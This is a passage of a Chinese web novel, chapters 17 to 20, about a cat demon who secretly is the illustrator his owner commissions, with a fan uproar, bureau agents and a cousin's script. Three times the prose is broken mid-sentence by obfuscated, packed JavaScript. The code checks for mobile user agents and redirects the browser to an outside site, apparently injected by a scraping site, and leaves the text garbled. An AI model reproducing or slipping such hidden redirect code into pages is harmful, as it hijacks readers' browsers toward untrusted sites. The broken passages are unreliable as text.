他放大水洼部分,画手不知道怎么处理的,水中的脸部倒影呈现出了近乎完全写实的质感,透过朦胧的黄色光晕,他能依稀看清画中人的眉眼与轮廓。 是错觉吗?这张脸……这双眼睛……和他怎么这么像? 观昏晓一时恍惚,门突然“咔哒”一声开了,天窍顶开门板,垂着尾巴缓慢地走了进来,耳朵撇向两侧微微耷拉,也是有气无力的模样。 他回过神来,因画手延期开稿而产生的不悦顿时被担忧取代,弯腰将天窍提起来放到眼前,薄唇微扬,划开一抹灿烂又略带邪气的笑弧。 “一大早怎么没精打采的?谁惹你不高兴了?楼下那个蠢蛋?” 观昏晓声线微哑,低沉又性感,咬字转音都带着一点瑰丽的感觉,像月夜下晚风中悠悠荡开的大提琴曲。 天窍耳朵一抖,像被打了一剂强心针般提起劲来,伸出爪子抱住他的脸,在他颧骨处蹭了蹭。 由于心态不稳而不得不推迟开稿日期的猫猫画手,因为他一句话就打起了精神,当代缪斯也不过如此。 天窍从观昏晓手中挣脱,噌噌跑出门外,不一会儿又叼着一枝粉色绣球回来,仰头碰碰额头,再将花送到他手里。 观昏晓拿起绣球,从上方揪下一朵小花别在天窍耳后,看着它笑笑眯眯可可爱爱的样子,只觉得坏心情一扫而空。 “唉,要是世界上所有人都像你这样对我好就好了。”他把花放到床头,抱着天窍躺下,“画手叛逆伤透我的心啊……好不容易才等到今天,怎么偏偏就延期了呢?” 听到“画手”二字,天窍心里一阵腻歪,却还是亲亲他的鼻尖表示安慰。 三秒钟后,它蓦的反应过来——延期?什么延期?谁延期了? 17. 偏心 天窍茫然地看着观昏晓,耳朵里全是“延期”俩字的回音,一种奇妙预感没来由地自它心底泛起,如同加了泡腾片的水,咕嘟咕嘟地冒泡起白沫。 它站起身,俯视观昏晓的脸颊,无意识地在他神色间寻找什么,爪子张张合合,从肉垫中探出一点点的爪尖透过衣服,勾得他的皮肤隐隐发痒。 观昏晓握住它的小爪子,好笑道:“天窍,你在我身上踩奶?” 听到这话,天窍才意识到自己一不小心暴露了本能,耳朵瞬间起飞,一蹦三尺高地弹开,粉白的内耳廓变得红通通的。 它甩了甩尾巴,粗声粗气地“喵”一声,似乎是在解释,又或者说狡辩。 观昏晓笑眯了眼,搔搔它的下巴,故意逗它:“没关系,踩就踩吧,我不在意。不过你都这么……通人性了,居然还会保有这种习惯吗?” “喵喵喵喵——” 天窍挺胸端坐,一本正经地解释,直到见他笑到拿枕头挡脸才反应过来,气呼呼地捏起爪子给了他一记柔情蜜意的猫猫拳。 “大侠饶命,我知错了!”观昏晓裹着被子,以毛虫蠕动的方式躲开,嘴上仍然不肯闲着,“踩奶乃猫之常情,我理解,以后再也不嘲笑你了……哎呀!” 天窍扑过去追着他满床打,房间里一时笑声与喵声齐飞,闹闹腾腾。 玩笑一阵后,观昏晓与天窍把心中的憋闷都发泄了出去,天窍也终于记起不久前那个模模糊糊的猜测,扭头看向落在床沿的手机。 观昏晓下床洗漱,看到它的眼神落点,随口说:“要查岗就查吧,注意收着点爪子,我不想换屏幕。” “喵呜!” 尾音飞扬,天窍应完就冲向手机,想着反正观昏晓已经知道,也接受了自己的特殊之处,懒得再装,啪啪几下解锁屏幕。 下一秒,一张熟悉的水彩画霎时映入它的眼帘。 不敢深思的猜想猝不及防得到证实,天窍愕然瞪大眼,把眼尾小钩子一样的眼线都拉成了向上的斜线。 它怔了一会儿,爪子伸出又收回,攥了攥,才依依不舍地点击退出图片。 在观昏晓的主页里戳戳点点,它翻出他唯三点赞收藏评论的动态和唯一关注的人,提起的心彻底落回原位。 ——我喜欢的人心有六窍。 他的第一条评论:太太看我!在线蹲一个稿位![声嘶力竭] 第二条评论:很喜欢我家麻雀的一句话——就两个? 第三条评论:一号预告,五号开稿,熬到十五号就好,看懂的都哭了。 天窍看了一眼浴室的方向,跳下床跑出院子,在无人的街角变回人形,从袖子里掏出手机。 他从来不看绘江河的后台消息,三条动态攒了五千条评论、两万多点赞和收藏,以及八千条转发,消息太多,以至于点进消息框时,手机还卡顿了几秒。 天窍一条条翻找过去,硬是从浩如烟海的消息提示中找出观昏晓的点赞、收藏和评论,截图保存,然后给他的三条评论各点了个赞,字斟句酌一一回复。 第一条:嗯嗯,有的。 第二条:不止两个,以后会加。 第三条:别哭,晚点抽奖。 绘江河的评论权重以帖主的点赞和回复围住,在天窍回复完成的瞬间,观昏晓的三条评论就同时冲上了三条动态的热评第一。 彼时,他的粉丝正在最后一条动态里刷哭泣表情求他不要延期,一刷新,看见观昏晓评论下明晃晃带金标的“画手回复”四个字人都傻了,纷纷转变阵地,在观昏晓的评论底下刷起了问号。 很快,观昏晓的另外两条评论和天窍的回复也被扒了出来,傻眼的人更多。 几分钟后,#我喜欢的人心有六窍偏心#词条冲上了绘江河的站内热榜第一。 拿着手机满屋子找猫的观昏晓忽然感觉手机跟抽风似的剧烈颤抖起来,打开一看,就被后台排山倒海的问号和“偏心”,以及五百条来自热榜第一的@干沉默了。 谁能告诉他,在他刷个牙洗个脸的时间里,这个世界究竟发生了什么? …… #我喜欢的人心有六窍偏心# 太太不哭,站起来鸽:为什么从不点赞回复的六窍太太偏偏点赞回复了你的评论?出来走两步!@观黑白 谁家咕咕精:这点赞是单只你一个人有,还是哥哥姐姐们都有?@观黑白 喝了这碗鸽子汤:我们因为六窍太太延期集体改了ID,反倒是你这个没改的得到了宠幸,请问你有什么头绪吗?@观黑白 这都能鸽:太太说晚点抽奖,是只给你抽还是大家一起抽?你肯定有小道消息,来聊五毛的?@观黑白 养鸽专业户回复:我觉得是大家一起抽,但必定给他黑幕一个。你觉得呢?@观黑白 烤乳鸽往我嘴里炫:我一定是穿越到了平行时空,六窍太太那么高冷,怎么可能独独对一个人事事有回应!他甚至还安慰了你!@观黑白 上汤鸽子精:等我下个月有改名机会了一定要把ID改成观黑白,这样六窍太太回复的就是我了[抹眼泪]@观黑白 盐焗鸽子回复:可是绘江河不允许重复ID。 上汤鸽子精回复:在伤口上撒盐,你果然是专业的。 观昏晓盘腿坐在床边,托腮看着不断震动的手机在床中央跑了个环球马拉松,半晌过去无从下手,不得不掏出备用机开了个小号,从头梳理事情的经过。 整件事虽然反响热烈,但并不复杂,一句话概括,就是六窍太太突然看他顺眼,不但点赞回复了他在三个动态帖子下的回复,还为他漏了一条消息——晚点抽奖。 为此,在六窍牌冰箱里躺了好多天的粉丝们不乐意了,将他偏心的词条刷上热榜,同时开始迁怒唯一且连续被翻三次牌子的观昏晓。 这乐子可真有意思,有一种宫斗剧走进现实的美感——假如他不是那个被敌视孤立的妖妃,他一定乐乐呵呵地吃瓜。 不,不对,如果妖妃不是他,那他应该也没心情吃瓜,只会领取鸽头牌加入讨伐昏君妖妃的队伍。 啧,他这算赚了还是亏了? 观昏晓心情复杂地刷着首页,蓦的,一条新动态跳了出来,“我喜欢的人心有六窍”几个大字怼进他眼眶,金光闪闪,充满存在感。 我喜欢的人心有六窍:抽奖帖来了。在本条动态下留言,今晚八点前随机抽取两位粉丝赠送插画一张,完成度与商稿等同,比例图再高30%左右,同一人多个账号仅能中奖一次。 另外,邀请功能已开,长期开放,分批接稿,有意约稿的粉丝朋友们可以填表递邀请了。这个月的稿件我会从邀请中选出最感兴趣的十条接取,稿位有限,先到先得。 观昏晓讶异地眨了眨眼,下意识戳进帖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810521|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,就见短短半分钟功夫,评论区已经盖了上千楼,听取“啊”声一片。 他顿了顿,怀着隐秘的期待,先用两个号各留一条评论,然后才将便签里早已编辑好的约稿要求复制下来,填表、发邀请。 之后就是长久且紧张的等待。 观昏晓坐立难安,两个手机来回看,退出界面想干点别的转移注意力,没几秒又会倒回去,反复折腾了好几分钟。 几分钟后,天籁般的消息提示音响起,他猛然抄过手机查看,后台新的点赞、回复红点让他心如擂鼓。 他小心翼翼地点开,作者回复四个字率先跃入他眼帘,接着才是回复内容。 我喜欢的人心有六窍:这两个名额是给别人的,你不用抽,我黑幕你一个。 观昏晓捧着手机愣住了。 他……这……什么意思? 还没反应过来,观昏晓的账号后台又跳出新提示——画手“我喜欢的人心有六窍”已接受您的邀请,加入企划,绘娘祝二位合作愉快。 “……” 观昏晓沉默地刷着自己评论的评论区,看着那一排排哭脸笑脸吃瓜脸,还有诸如“我们是别人,你是什么?内人吗?”的回复,良久,唇角的弧度越扬越高,渐渐从迟疑变成了嚣张。 他躺在床上,举起手机,翘着二郎腿嘚瑟地抖了抖脚尖,啪啪打字回复。 观黑白回复我喜欢的人心有六窍:谢谢太太黑幕!太太是一只肥美的鸽子!MUA! 观昏晓的评论刚发出去,那边的回复就来了。 我喜欢的人心有六窍回复观黑白:[抱抱][亲亲] 粉丝们:??? 粉丝们:…… 鸽子不跟狗玩:谢邀,本鸽子精不吃狗粮,再问上吊! 街角,天窍倚着墙面,美滋滋地截图保存观昏晓的评论,又刷了会儿评论,确认他不会继续回复,才不舍地退出去,查看几乎把后台挤爆的邀请。 观昏晓的邀请自然是第一个看,考虑到他初次约稿,业务不熟练,天窍已经做好他的要求会自相矛盾、语焉不详、词不达意之类的准备,然而表格一点开,里面言简意赅的几行字却令他怔住。 ——P1P2是我和我家的猫,我对动作、背景没有要求,只希望太太能按照第三张例图的画法,给我们画一张合照。 ——抱歉,用合照这个词可能有点抽象,但太太的第三张例图给我的感觉就是二次元与三次元融合的典范。我从图中水洼的倒影看到了近乎真人复刻的写实画法,我希望您能将这种画法用在我和我的猫身上,画出它那种是猫非猫的气质。 ——当然,如果您觉得这样的要求过于模糊跳脱,也可以自由发挥,我相信您的画技。 天窍望着表格里附带的第二张照片出神。 那张照片不知是观昏晓什么时候拍的,一只黑猫蹲在黄昏时分,房间窗下的明暗交界处,左半张脸被余晖倾斜着照亮,右半张脸则隐于黑暗,泾渭分明。 它并未看向镜头,而是静静眺望着窗外的夕阳,一双紫瞳沉静深邃,映出天边的橙红烟霞,越发显得瑰丽。 天窍笑了笑。 他明白观昏晓说的“是猫非猫的气质”是什么意思,观昏晓早就告诉过他了。 ——宝贝儿,建国以后不许成精,你在外面可得悠着点。 它不是猫,是妖。 18. 草稿 开着私聊界面,观昏晓盯着对话框上“对方正在输入”的字样忐忑不安,好在没过多久,一条消息就弹了出来。 我喜欢的人心有六窍:你的要求我看了,也看明白了,可以画。 见状,观昏晓先是长长地呼了口气,随即感觉不对。 他那要求把自己都看得云里雾里,和他隔了两颗心的画手真能看明白? 想着,观昏晓小心翼翼地回复:真的?我描述的是一种感觉,但众所周知,人们常把无法形容的东西归为感觉,太太真能保证我们理解的是同一种? 我喜欢的人心有六窍:感觉难以形容,不过我是画手,可以用绘画表达。 我喜欢的人心有六窍:稍等,我现在给你出一版草稿,有没有理解偏差,你看了就知道。 观昏晓一愣:这么快? 我喜欢的人心有六窍:你的要求趋近于自由发挥,对我而言这是最简单的画法。 我喜欢的人心有六窍:我会用渲染法简单地画一幅草稿,不做精细处理,先画出你想要的感觉,确认无误后再正式动笔,要不了多少时间。 观黑白:看不懂,但好像很厉害的样子。嗯,我相信太太。 我喜欢的人心有六窍:感谢信任。你可以先做其他的事,不用守着对话框,半个小时后再来。 观黑白:好的!正好我家猫不知道哪儿去了,我去找它,一会儿见。 对面沉默了将近半分钟才回复:好,一会儿见。猫是恋家的动物,找不到也不用着急,它会自己回来的。 观黑白:知道,太太你忙。 观昏晓放下手机,在床上滚了两圈,嘴角不受控制地上扬。 傻乐了好一会儿,他才慢吞吞起身,喊着“天窍”的名字出门找猫。 离观昏晓家不远的酒店里,凌洛、司巍藿和林摹丑三人胜利会师,边吃火锅边刷天窍最新动态的评论区,嘎嘎乐。 “笑死,先生对他心上人这偏爱劲儿真是藏不了一点。”林摹丑大口吸溜脆嫩的鸭肠,跟嗦粉似的,“老司,老凌,你俩都近距离接触过观先生,他是个怎样的人?” “好人。”司巍藿脱口而出,肿着嘴在辣锅里捞格外吸汤的金针菇,满头大汗地发出斯哈斯哈的声音,“特别好的人,脾气好长相也好,要是十年前遇到他的是我,我也会对他一见钟情。” 凌洛被呛了一下:“好好说话,你也不想被先生打闷棍再倒吊在特物局门口,当供人观赏的猴儿吧?” 司巍藿打了个寒颤,吸吸鼻子:“玩笑,玩笑,你们就当我放了个屁,千万别记着,别告我的状!” 凌洛翻了个优雅的白眼,继续在辣锅里涮他的折耳根和臭豆腐。 三人口中的“先生”指的自然是天窍,他待人冷淡,与尘世有种抽离疏远感,连名字都不愿留,没人知晓他的真实名姓,所以只用“先生”代称。 与观昏晓重逢后,观昏晓给他取了“天窍”这个名字,这是喜欢的人所赠的第一件礼物,他便一直沿用。 只是三人提到这个名字总会忍不住想起他刻意伪装的幼猫模样,难崩得很,为免哪天不小心在他面前笑出声,他们也不敢叫,只得继续以“先生”代称。 特物局全称特殊物种保护局,明面上走的是保护濒危生物的路子,实际上是各类妖怪的收容所、招安处和关押地,即收容弱小懵懂的、刚出世的小妖,招安实力强大、良善正直的大妖,关押作恶造杀、屡教不改的恶妖。 特物局的成员有人类也有妖怪,兢兢业业地维护着两个种族的和平安稳,距今已有将近百年。 天窍是其中资历最老,实力最强的一位大妖,从特物局创立之初便一直在为之四处征战,死在他手下的恶妖不计其数,无论是人类一方还是妖族一方,对他都既敬且畏,向来是避而远之。 林摹丑三人却不同,因为他们是他“退休”前最后一次除妖行动的队友,也是他“退休”后的观察员,负责监督他的日常生活,防止他使用妖法扰乱人世。 天窍的来历是特物局最高机密,林摹丑三人只知道他苏醒于一座葬着古代大妖的古墓,记忆有所缺失,实力略有下降,性格虽冷,行事却很正派,这也是特物局第一任局长选择招安他的原因。 外人不了解他,以为他冷血无情。他们一开始也这么觉得,直到看见在观昏晓身边的他,才知道自己大错特错。 人家其实很温柔,很活泼,很懂得哄人宠人,只不过他所有的柔情蜜意都给了观昏晓一人,他们这些凡夫俗子不配得见而已。 意识到这一点后,三人对待天窍的态度就松弛了很多,以前见了他嘴都不敢张,现在甚至敢开他和观昏晓的玩笑了。 所以说人生真的是瞬息万变,谁也不晓得曾经以为一成不变的东西,下一秒会不会峰回路转。 “说真的,就先生以前那副高岭之花的样子,我一直认为他‘退休’后会躲进大兴安岭,当餐风露宿的野人……仙人,我是说仙人。”司巍藿嘴里嚼着麻辣牛肉,还不忘叭叭,“谁能想到他会脱下正经人的外衣,去心上人身边当一只混吃混喝撒娇卖萌的小猫?诶,爱情这玩意儿究竟有什么魔力,能让杀伐果断的大妖也深深沦陷,不可自拔?” 林摹丑斜他:“我们谈过恋爱吗你就问?真想知道建议你直接询问先生,现在的他应该很乐意为你答疑解惑。” “你别说,其实我挺想问的。”司巍藿咂嘴,“我记得先生以前到处飞,忙得脚不沾地,和那位观先生满打满算也就见了三回。不是说一见钟情都是看脸,并不长久吗?他怎么爱得那么深?” “谁知道呢。”林摹丑耸肩,“爱情也是一种感觉,心有触动所以靠近,深入了解后情根深种,大抵就是这么两个流程。你那么好奇,自己找一个去啊。” “嗯……”司巍藿若有所思地看向凌洛。 凌洛头也不回,抄起装素菜的空篮子就拍他脸上。 “丑拒。”他三十六度的嘴吐出零下三十六度的话语。 司巍藿瘪瘪嘴,默默放弃和灵长类生物探讨恋爱问题的想法,去辣锅里寻找他的真爱金针菇。 …… “奇怪,天窍上哪儿去了?” 观昏晓在家附近转了一圈,连根猫毛都没摸到,站在路口叉着腰低声咕哝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810522|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这时,街角转出一只身量苗条的三花,它微微眯起金色的杏核眼,步伐优雅,尾巴高高竖起,跟随脚步在半空柔软地扭动。 “咦?” 认出它是天窍的内阁大臣之一,观昏晓快步迎上去,蹲下/身,挠了挠它的下巴。 三花乖乖抬头任摸任揉,还甜甜地喵了两声,叫得观昏晓心里软软,钢铁心脏化成了棉花糖,低沉磁性的声线也不由得夹了起来:“妹妹,有没有看到你们老大?我找它半天了,连个影子都没找着。” 三花歪了歪脑袋,眨眨眼,似乎听懂他在说什么,蹭蹭他的手背。 “喵呜喵呜……喵……” 观昏晓忍俊不禁,语气更柔:“你在安慰我啊?好吧,你们老大日理万机,背负着全县猫猫的身家性命,忙也是应该的。不过你若是见到它,麻烦帮我带句话,就说上次它答应我出门必留言的事它食言了,回来前记得想好补偿方案。” 三花眼睛一眯,眼尾嘴角扬起弯弯的笑弧:“喵——” “看热闹的表情太明显了,当心被扣口粮。”观昏晓拍拍它的脑袋,站起身,“去玩吧,我也该回家了。” “喵~” 三花不走,反而贴着他的小腿蹭蹭,然后往他家的方向走了两步。 观昏晓惊异道:“你要送我?” 三花甩甩尾巴,“喵呜呜”的尾音轻快上扬。 行,一个个都成精了。 观昏晓好笑,放缓了脚步:“那就走吧,回去给你炸小鱼干当做报酬。” “喵呜!” 回到家中,观昏晓炸了两种口味的小鱼干,没有裹料的分成两份,一份给三花,一份留给天窍,裹料的则拿去喂表哥。 他坐在大快朵颐的一人一猫中间,满心期待地点开绘江河的后台,不出意外看见了画手两分钟前发来的草稿。 镜头下的画纸上晕开风格鲜明的渲染笔触,淡淡描出雨夜中重逢的人与猫。纸张边缘依稀可见尚未干透的水痕,衬着画面外围朦胧的路灯光晕,如同幽微薄雾,将色彩中心两道身影的对视掩映成虚淡迷幻的梦境。积水上光圈扩散,拢着他们投下的倒影,仿佛隔着千山万水,地久天长对望。 不是人与猫,而是人与人,是历史罅隙里的久别重逢,是过去与当下,也是当下与未来。 观昏晓不觉看得入了神,手指轻轻拂过画中的人与猫,却说不上来想碰触的到底是什么。 我喜欢的人心有六窍:你想要的是这样的感觉吗? 观昏晓笑了笑,回道:我也说不清是不是,感觉毕竟是模糊又主观的东西。但我喜欢太太你描绘的意境,就它吧,草稿不用改了。 我喜欢的人心有六窍:好。商稿的精度会比例图高很多,所以成稿大概需要一周时间,在这期间你有任何新的想法都可以随时找我补充,我会在草稿不变的基础上尽量为你实现。 嗯?画手为了保证创作的连贯性,一般不是不能轻易更改要求吗? 观昏晓犹豫了一下,问:这是太太的粉丝福利? 对面隔了几分钟才回答:这是抽奖黑幕幸运人员的专属福利。 19. 猫猫补偿 傍晚,晚霞漫天。 观昏晓正在给鱼缸换水,往睡莲根系上再铺薄薄的一层营养泥,忽然听到门板方向传来咔哒一声轻响,回过头,就见天窍从门缝处伸个脑袋进来,努力瞪圆眼睛扮无辜,小心翼翼瞅着他。 他轻笑一声,继续折腾手上的事。 “舍得回来了?我还以为你要彻夜不归了,正准备将你那份小鱼干喂给大橘。” 观昏晓的语气里带着懒散沉静的笑意,听不出气恼或冷淡,让天窍松了口气。 它钻进门里,抖抖毛,迈着小碎步跑到观昏晓身旁站定,歪头贴着他劲瘦的腰窝就一通乱蹭。 他就属腰上的痒痒肉最多,这一下差点没痒得原地起飞。 观昏晓背过手用没脏的地方推开天窍,哭笑不得:“说了别蹭我痒痒肉,乱跑不报备,回来就添乱,你说我养你图什么?图你可爱吗?” 天窍尾巴一甩,卷在前爪上,灵巧的尾巴尖尖拍了拍,仰头冲他喵呜喵呜地叫。 观昏晓夸张地叹了口气:“对,我就是图你可爱。去厨房吧,我把小鱼干搁灶台上了,等你吃完,我这边也差不多弄好了。” 天窍扭头看了眼厨房,再扭头瞧他,挪动身子朝他那边靠了靠。 他挑眉:“不想吃?还是就想赖着我?” 闻言,天窍干脆趴下,两只前爪反扣在胸前厚厚的毛发里,尾尖上下拍打,又悠然地左右摆动,一眨不眨凝望着观昏晓,眼底满是笑意。 观昏晓被它用这种眼神看了几秒,忍不住“噗嗤”一笑:“你是懂哄人的,有当海王的潜质。” 闻言,天窍斜睨旁边的水桶一眼,因为要换水,锦鲤被暂时挪到了桶里,这会儿正委委屈屈地缩着身子,看起来肥肥大大的一坨。 呵,谁要当海王,它苗天窍这辈子只想也只会养一个人。 “对了。” 观昏晓冷不丁出声,将天窍跑偏的注意力拉了回去。 它连忙直勾勾地看过去,男人正用手把新铺的泥抹均匀,拎起水管往缸中注水,飞溅的水珠打在他轮廓分明的侧脸上,挂住他微垂的卷睫,晶莹的液体将他的皮肤也衬出剔透质感,莫名撩人。 天窍看直了眼,观昏晓却一无所觉:“刚才我让三花妹妹给你带话,带到了吗?” “喵、喵呜。”天窍眨眨眼,不知怎么有点紧张,叫声都不连贯了。 观昏晓瞥它:“既然带到了,我的补偿呢?” 天窍愣了愣,恍然大悟,抬爪拍拍他的小腿示意他稍安勿躁,旋即扭身飞奔,连门都懒得开,一个原地起跳越过围墙,稳稳落在外面。 观昏晓手一抖,水流浇在缸壁上,更多水珠溅上他微愕的面庞。 人类的常识告诉他,猫不可能在不借力的情况下跳过两米多高,但天窍本就是超越常识的存在,因此他只惊讶了一瞬间,便恢复平静。 不多时,天窍原路返回,这次右边耳朵上挂了一只小巧的竹编手环。 手环通体碧绿盈翠,宛若美玉,却不是竹子本身的光泽所致,而是有人调了特殊颜料一点点渲染出来,即使没有编出什么繁复的花纹,也同样别致而精巧。 它顶着手环跑到观昏晓脚边,不等他反应过来,便径直蹦到了他的手臂上,一甩头抖落手环,叼在嘴里,试图为他戴上。 “诶!等等!” 观昏晓赶紧叫住它,并把手移开,在它不解又失落的注视中冲干净双手,才把右手递过去。 “喏,戴上吧。”他说。 观昏晓不问它手环从何而来,只记着这是自家猫猫送来的赔偿礼,他看了高兴,也乐意戴着。 天窍与他自有默契,当即乐乐颠颠地为他戴上手环,还耷着耳朵在上头蹭了蹭,留下自己的猫毛与气味。 手环经过细致打磨,磨掉了所有毛边毛刺,触手温润。 观昏晓抬手对光瞧了瞧,笑道:“如果不是不透光,这手艺和真玉相比,足可以假乱真。” 闻言,挂在他小臂上的天窍弯起眼睛,笑得嘚瑟。 晚风扬起观昏晓的衣角,天窍的绒毛,裹着渐渐黯淡的余晖染遍他们周身,衬着翠叶白花的茉莉,粉白优雅的睡莲,以及折掩在阴影中的杂物、工具,浓墨重彩,光影如织,几与油画无异。 夕阳止步于台阶之下,台阶上的临卿和揣着手,眯着眼,将不远处那一人一猫的互动尽收眼底。 困扰他许久的瓶颈在一种难以言说的意境中隐隐松动,当他的目光掠过观昏晓,看见他亲了亲天窍的脑门时,久违的了悟和灵感冲破瓶颈的一个小口,短暂地喷薄而出。 “男女主的感情线……对,对!是该这么写!就该这么写!我表弟简直就是天选女……不是,我表弟的猫简直是天选男……也不对!总之……就是这种感觉!” 临卿和的瞳孔兴奋地放大,像追着尾巴跑的狗子般原地转了两圈,低声喃喃两句,而后火烧屁股似的冲回屋里。 正巧这时,观昏晓换完水,抱着天窍往厨房里走。看见表哥着急忙慌的样子,他扬声问:“你干什么去?不吃饭了?” “不吃了!”临卿和的声音一个字比一个字远,“不不,饭还是要吃的!我的意思是现在先不吃!你帮我留一份,我写完剧本再吃!” “写完剧本?”观昏晓低头看天窍,“他找到灵感了?” 天窍蹲在他肩上舔毛,听到这话,支起脑袋与他对视一眼,困惑地歪头。 …… 天窍跑出去大半天,身上沾了点灰,睡前观昏晓给它放了一浴缸的水,让它自己洗干净再泡个澡,放松放松。 猫大爷也不跟他客气,仰躺在水面摆动尾巴,悠哉悠哉地从浴缸这头游到那头,舒缓且有节奏,十分惬意。 观昏晓乐了:“大爷,那您先泡着,我就在门外,有事叫我一声啊。” 天窍挥了挥爪子,颇有昏君气度——朕要受享,卿且退下。 他笑着撩了一捧水泼它脸上。 离开浴室,观昏晓把床铺好,等猫大爷沐浴就寝之际无所事事地刷了会儿手机,一时没忍住又点进绘江河,打开那副看了没有一百遍也有五十遍的草图。 草图无细节,只是用色块描摹出朦胧的意境,也不知道哪里对了他的胃口,让它百看不腻,越看越有感触。 他甚至做好了如果成图还原不了草稿的感觉,自己就当抽奖抽到的就是这张草图的准备。若非聊天记录里的图片无法保存,他现在已经把它设置成手机壁纸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810523|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顶着图片发了会儿呆,观昏晓突然一骨碌翻身坐起,从床头柜最下面的抽屉里取出笔记本和铅笔,削得圆钝的笔尖在空白纸张上划拉一阵,留下不甚规整的笔画。 在笔尖摩挲纸页的沙沙声中,他的眼前浮现出零星片段,都是幼时光景。 十岁前,观昏晓自学过一点国画,那时不懂技巧,也没有人教,所谓的自学不过是拿粗笔浓墨,仿着春节挂画的模样往白纸上涂涂抹抹,自然无所建树,也并未真正留下什么。 小时候性格执拗,脑瓜子就那么一点点大,以为一年和一辈子一样长,所以即使练得不怎么样,他也没想过放弃画画。 可是后来他为什么不画了?为什么将笔杆折断,泼掉墨水,撕烂纸张,将曾经的爱好束之高阁? 观昏晓茫然地想着,忽的铅笔一顿,在纸上重重压出一个浅灰色的圆点。 他定睛打量自己无意间绘出的场景,瞳孔骤缩,手一抖,居然条件反射地把笔记本扔了出去。 本子上印着凌乱交错的线条,如同茧状的火焰或海浪,包裹着一道细长狰狞,仿佛在不住扭动的身影。 他只是信笔而作,画中的怪物却如同经过精心描绘,每根线条都利落简练,不满不缺,有一种透纸而出的真实、惊悚的气韵。 观昏晓的心脏怦怦直跳,连忙用橡皮将这张涂鸦擦干净,急促的心跳才渐渐趋于平静。 对,他想起来了。 小时候的他画出了很多幅……类似这种的画,因为用的是墨水,那些画显得比这幅更诡异,更恐怖,更生动,就像泼在纸上的不是墨迹,而是血管,是经络,是流动的鲜血与嘶吼的灵魂。 他被吓到了,画一张撕一张,撕一张画一张,从不信邪到被吓出半年的水墨画恐惧症,从此再也不敢碰画笔。 观昏晓扔开铅笔和本子,自嘲一笑:“本来是想仿一仿太太草图里的意境,可画出来的怎么还是这些东西……算了,我和画画就没有缘分,还是等成图吧。” “miu呜——” 轻盈的猫叫由远及近,天窍踱出浴室,一路小跑,拖着湿漉漉的毛发站在床边,仰头冲他叫了一声。 听到它的声音,观昏晓瞬间将心头那点小惆怅和突然勾起的糟糕回忆抛之脑后,弯腰用毛巾裹住瘦了一个尺码的它抱在怀里擦毛,顺便撸猫。 “喵——” 天窍躺在他腿上任搓任揉,伸爪按住他微微上扬的唇角,爪垫抓了抓,小心翼翼地挪到他柔软的唇瓣上,好好收起爪尖。 观昏晓鼻翼翕动,拎开它爪子:“大爷不仅泡了澡,还用我新换的沐浴露洗毛?” 天窍一扭身子,翻出软绵绵的黑肚皮,半湿不干的绒毛乱糟糟地东倒西歪,散发出湿润而浓郁的青柠香气。 观昏晓揉揉它的肚子,好笑:“猫不都喜欢在人和各种东西上留下自己的气味吗?怎么你却反其道而行之,来蹭我的味道?” “喵呜!” 天窍挣开毛巾,猛然扑在他脸上,像一只突然发动攻击的抱脸猫猫虫,将他推倒在床。 是啊,为什么呢? 天窍舔舔他的脸颊,被他捏着后颈皮提开也不在意。 可能因为我喜欢你吧。 20. 成稿 成图出得比观昏晓料想的更快,不到一周就上传至稿件动态。 收到绘娘的消息提示时,观昏晓正在帮表哥审稿——剧本中男女主的感情线初稿。 虽然不知道临卿和为什么对他这个资深单身狗那么自信,觉得他一定能看出剧本的优势与劣势分别是什么,但在表哥两顿火锅的“诚意”下,他还是欣然翻开了装订成册的打印稿。 然后就对着满纸“荒唐”言陷入沉思。 男主是年过而立被公司“优化”的技术人才,聪明冷静,遇事不慌,有条有理,为了造鸡棚能专门写一份三千字的规划案,做饭时连淘米水的高度都要度量精确,可以说把“理性”刻进了生活的方方面面。 女主是乡下精神小妹,芳龄二十八,在乌烟瘴气的家庭里长大,小时候看姑姑暴打出轨姑父后为了孩子强行不离婚,长大后看偏心爷奶天天被耀祖小叔啃老,两眼一睁就是爹妈混合双骂,两眼一闭,梦里都是俩老人家割其他孩子的肉喂幺子那只白眼鹰,从此信奉不婚不育的真理,高中毕业就离家独自生活,凭一间可能囊括了整个宇宙商品的小卖部养活自己。 男主相貌英俊,女主相貌平平,前者内敛克制,后者一腔暴脾气。 从设定上就天南海北的两个人被命运(编剧)之手强行揉到一起,上演了一幕幕热热闹闹的大戏,包括但不限于: 男主在女主的小卖铺里买到生虫陈米,带着证据过去问责时,女主直接拉着他找到供货商家里,和平协商不成堵着人门口口吐芬芳,骂到整个小区的住户争相叫好,并录下她的金句放到网上,让她一炮而红。 